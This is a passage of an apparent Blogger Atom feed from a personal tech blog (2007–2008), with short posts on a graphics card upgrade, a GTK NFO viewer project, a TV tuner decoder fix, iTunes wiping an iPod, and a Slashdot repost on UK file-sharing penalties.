href="http://www.speedtest.net"&gt;&lt;img src="http://www.speedtest.net/result/234228848.png"&gt;&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/4811651651343085789/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=4811651651343085789' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4811651651343085789'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/4811651651343085789'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/broad-but-not-quite-as-broad-as-it.php' title='Broad-but-not-quite-as-broad-as-it-should-be-band'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-8791899415133762250</id><published>2008-02-12T15:21:00.001Z</published><updated>2008-02-12T15:22:41.274Z</updated><title type='text'>UK Government To Terminate File Sharers' Net Access</title><content type='html'>"An anonymous reader writes 'New plans published by the UK Govt show that they hope to terminate internet access for people suspected of breaching copyright by file sharing. Under the proposed new laws ISPs who fail to enforce the policy will face prosecution in the courts. Users falling foul of the new law will be subject to a three strike policy: First suspected instance of illegal file sharing they would receive a warning, at the second — a suspension, and at the third they will have their Internet connection terminated. It isn't clear whether users will be prevented from ever using the internet again, or whether simply subscribing to a new ISP will reset the process.'&lt;p&gt;&lt;a href="http://yro.slashdot.org/article.pl?sid=08/02/12/1257248&amp;from=rss"&gt;Read more of this story&lt;/a&gt; at Slashdot.&lt;/p&gt;&lt;p&gt;(Via &lt;a href="http://slashdot.org/"&gt;Slashdot&lt;/a&gt;.)&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/8791899415133762250/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=8791899415133762250' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8791899415133762250'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8791899415133762250'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/uk-government-to-terminate-file-sharers.php' title='UK Government To Terminate File Sharers&amp;#39; Net Access'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1051255070964700917</id><published>2008-02-11T15:23:00.001Z</published><updated>2008-02-11T15:23:32.809Z</updated><title type='text'>Got the coding bug again</title><content type='html'>Continuing my permanent cycle of coding like mad then being lazy for a couple of months then coding again....  I've finally got around to starting to address some of the bug fixes and enhancements for my &lt;a href="http://www.opensourcehacker.com/"&gt;GNFOViewer&lt;/a&gt;, as requested by Ubuntu Forums people &lt;a href="http://ubuntuforums.org/showthread.php?p=4025284"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The nicer exception handling was an easy quick win, but the saving of preferences is proving a bigger challenge.  I added support for &lt;a href="http://www.gnome.org/projects/gconf/"&gt;GConf&lt;/a&gt; to store settings and certainly the preserving of the text colours inversion is working fine, as is the window sizing, but the window position preservation is still buggy.  Why they decided not to implement suitable events on &lt;a href="http://go-mono.com/docs/index.aspx?link=T%253aGtk.Window"&gt;Gtk.Window&lt;/a&gt; is beyond me - this business of &lt;a href="http://go-mono.com/docs/monodoc.ashx?link=F%253aGtk.Widget.ConfigureEvent"&gt;Widget.ConfigureEvent&lt;/a&gt; seems a horrendously convoluted ay of doing things.</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1051255070964700917/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1051255070964700917' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1051255070964700917'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1051255070964700917'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/got-coding-bug-again.php' title='Got the coding bug again'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1990304303393062976</id><published>2008-02-04T10:38:00.001Z</published><updated>2008-02-04T11:23:50.039Z</updated><title type='text'>Speed boost</title><content type='html'>Upgraded the graphics card in my PC this weekend to give it a much needed performance boost.  My old onboard &lt;a href="http://www.nvidia.com/page/gpu_mobo.html"&gt;nVidia 6150LE&lt;/a&gt; got replaced with a PCI Express &lt;a href="http://www.nvidia.com/page/geforce_7300.html"&gt;nVidia GeForce 7300 GT&lt;/a&gt;.  I ran &lt;a href="http://www.futuremark.com/products/3dmark06/"&gt;3DMark 06&lt;/a&gt; before and after the upgrade to compare performance :-&lt;br /&gt;&lt;br /&gt;nVidia 6150 LE (Onboard) - 236 3DMarks&lt;br /&gt;nVidia 7300 Gt (PCIe) - 1873 3DMarks&lt;br /&gt;&lt;br /&gt;Nice improvement!</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1990304303393062976/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1990304303393062976' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1990304303393062976'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1990304303393062976'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/02/speed-boost.php' title='Speed boost'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-8089540052004468130</id><published>2008-01-29T11:24:00.001Z</published><updated>2008-01-29T11:24:32.778Z</updated><title type='text'>Webmongering on the Mac</title><content type='html'>Happier with my Mac today - I have got Apache, PHP, MySQL and PHPMySQLAdmin all working, so my web development environment I used on my old Linux laptop is now restablished on this Macbook :-)</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/8089540052004468130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=8089540052004468130' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8089540052004468130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8089540052004468130'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/01/webmongering-on-mac.php' title='Webmongering on the Mac'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-7140848051057264030</id><published>2008-01-21T20:07:00.001Z</published><updated>2008-01-21T20:09:35.457Z</updated><title type='text'>World of Waitcraft</title><content type='html'>I spent about 8 hours downloading the 10 day trial version of &lt;a href="http://www.wow-europe.com"&gt;World of Warcraft&lt;/a&gt; yesterday, leaving it running overnight.  I come home from work tonight looking forward to giving it a try, but on starting it up, it tells me it needs another 871Mb (5 hours) worth of patch downloads.  So I guess thats another day lost of my 10 day trial.  By the time it has everything it needs to let me play the game, my trial period will be over!  Do they want people to play this thing or what?</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/7140848051057264030/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=7140848051057264030' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7140848051057264030'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/7140848051057264030'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/01/world-of-waitcraft.php' title='World of Waitcraft'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-1696907988004255155</id><published>2008-01-19T16:36:00.000Z</published><updated>2008-01-19T16:48:26.705Z</updated><title type='text'>Telly on the computer</title><content type='html'>Having rebuilt my machine back to its original &lt;a href="http://www.microsoft.com/windowsxp/mediacenter/default.mspx"&gt;XP Media Center Edition 2005&lt;/a&gt;, I've been playing with the TV tuner (a &lt;a href="http://www.hauppauge.co.uk/pages/products/data_novatstick.html"&gt;WinTV Nova-T DVB-T USB stick&lt;/a&gt;).  I kept getting the error &lt;b&gt;the video decoder has either malfunctioned or is not installed&lt;/b&gt;, but after some Googling, I found the answer was to install a MPEG2 decoder such as this &lt;a href="http://www.gnu.org/copyleft/gpl.html"&gt;GPL-licensed&lt;/a&gt; one available at &lt;a href="http://www.deskshare.com/download/mpeg2decoder.exe"&gt;http://www.deskshare.com/download/mpeg2decoder.exe&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Got my indoor aerial plugged in (strangely, we don't have an outdoor aerial), and it seems to be working.  Now its time to work out how to record &lt;a href="http://www.itv.com/primeval/"&gt;Primeval&lt;/a&gt; tonight!</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/1696907988004255155/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=1696907988004255155' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1696907988004255155'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/1696907988004255155'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/01/telly-on-computer.php' title='Telly on the computer'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-2855170824322845897</id><published>2008-01-17T14:42:00.001Z</published><updated>2008-01-17T14:42:48.328Z</updated><title type='text'>Worst default setting. Ever.</title><content type='html'>iTunes has just wiped out over 3 years of collected music on my iPod.  By default it attempts to sync the iTunes database on the computer with that on the iPod.  I just installed an iTunes update today (cos it was listed in the Software Updates on my MacBook) and it reverted the setting that I had previously changed, telling it *not* to do this.&lt;br /&gt;&lt;br /&gt;A lot of this music I'll not be able to replace. Very disappointed with Apple's choice of default setting.</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/2855170824322845897/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=2855170824322845897' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2855170824322845897'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2855170824322845897'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2008/01/worst-default-setting-ever.php' title='Worst default setting. Ever.'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-8640952739433027255</id><published>2007-12-30T18:49:00.000Z</published><updated>2007-12-30T18:54:27.227Z</updated><title type='text'>XNA Game Studio 2.0 and Visual Studio</title><content type='html'>I was excited that Microsoft had release the new &lt;a href="http://creators.xna.com/"&gt;XNA Game Studio 2.0&lt;/a&gt;, since I was looking to do some little game development.  However, it only works with Visual Studio 2005 products (full or express editions) and I run Visual Studio 2008.&lt;br /&gt;&lt;br /&gt;After getting nowhere trying to make it work, I attempted to get the free Express edition of Visual C# 2005, but of course, the download page for the Express Editions points at all the new 2008 editions.  Luckily, after much digging around, I managed to find this link to &lt;a href="http://go.microsoft.com/fwlink/?LinkID=71374&amp;clcid=0x409"&gt;Visual C# 2005 Express Edition&lt;/a&gt;, which others in the same position may find useful</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/8640952739433027255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=8640952739433027255' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8640952739433027255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/8640952739433027255'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2007/12/xna-game-studio-20-and-visual-studio.php' title='XNA Game Studio 2.0 and Visual Studio'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5351062.post-2533699174463528188</id><published>2007-12-29T16:10:00.000Z</published><updated>2007-12-29T16:13:55.885Z</updated><title type='text'>Coding again</title><content type='html'>After a long hiatus from writing any code, I'm adding a few new features to my &lt;a href="http://ubuntuforums.org/showthread.php?p=4025284"&gt;GTK NFO viewer&lt;/a&gt;, from a request on the forums.  I've not looked a it in a while and now MonoDevelop crashes whenever I try to load the project.&lt;br /&gt;&lt;br /&gt;I've having to rebuild my whole dev environment from source in order to get the latest version, cos &lt;a href="http://www.ubuntu.com"&gt;Ubuntu&lt;/a&gt;'s &lt;a href="http://www.monodevelop.org"&gt;Monodevelop&lt;/a&gt; is woefully outdated. *Sigh*</content><link rel='replies' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/2533699174463528188/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=5351062&amp;postID=2533699174463528188' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2533699174463528188'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5351062/posts/default/2533699174463528188'/><link rel='alternate' type='text/html' href='http://www.niceguyuk.ukshells.co.uk/2007/12/coding-again.php' title='Coding again'/><author><name>NiceGuyUK</name><uri>http://www.blogger.com/profile/17387528130580991289</uri><email>noreply@blogger.com</email></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry></feed>